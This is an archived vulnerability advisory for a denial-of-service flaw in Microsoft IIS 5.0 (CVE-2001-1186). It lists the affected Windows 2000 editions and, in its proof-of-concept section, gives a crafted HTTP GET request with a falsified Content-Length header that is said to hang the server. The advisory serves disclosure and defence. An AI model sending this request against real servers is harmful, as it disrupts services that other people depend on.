Microsoft IIS False Content-Length Field DoS Vulnerability

BID:3667

Info

Microsoft IIS False Content-Length Field DoS Vulnerability

Bugtraq ID: 3667
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2001-1186
Remote: Yes
Local: No
Published: Dec 11 2001 12:00AM
Updated: Jul 11 2009 09:06AM
Credit: This vulnerability was submitted to BugTraq by "Ivan Hernandez Puga" <[email protected]> on December 11th, 2001.
Vulnerable: Microsoft IIS 5.0
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server SP1
+ Microsoft Windows 2000 Advanced Server
+ Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP2
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Datacenter Server SP1
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional SP1
+ Microsoft Windows 2000 Professional
+ Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server SP1
+ Microsoft Windows 2000 Server
+ Microsoft Windows 2000 Server
Not Vulnerable:

Discussion

Microsoft IIS False Content-Length Field DoS Vulnerability

Microsoft IIS 5.0 may be prone to a denial of service condition when sent a specially crafted malformed HTTP GET header.

If an IIS 5.0 web server is sent a crafted HTTP GET request which contains a falsified and excessive "Content-Length" field, it behaves in an unusual manner. The server keeps the connection open and does not time out, but does not respond otherwise. It is possible that this may be used to cause a denial of service to the web server.

Exploit / POC

Microsoft IIS False Content-Length Field DoS Vulnerability

The following HTTP GET Header, containing a falsified Content-Length field, is sufficient to cause the unexpected behavior:

GET /testfile HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: 192.168.0.10
Connection: Keep-Alive
Content-Length: 5300643
Authorization: Basic

Solution / Fix

Microsoft IIS False Content-Length Field DoS Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Microsoft IIS False Content-Length Field DoS Vulnerability

References:

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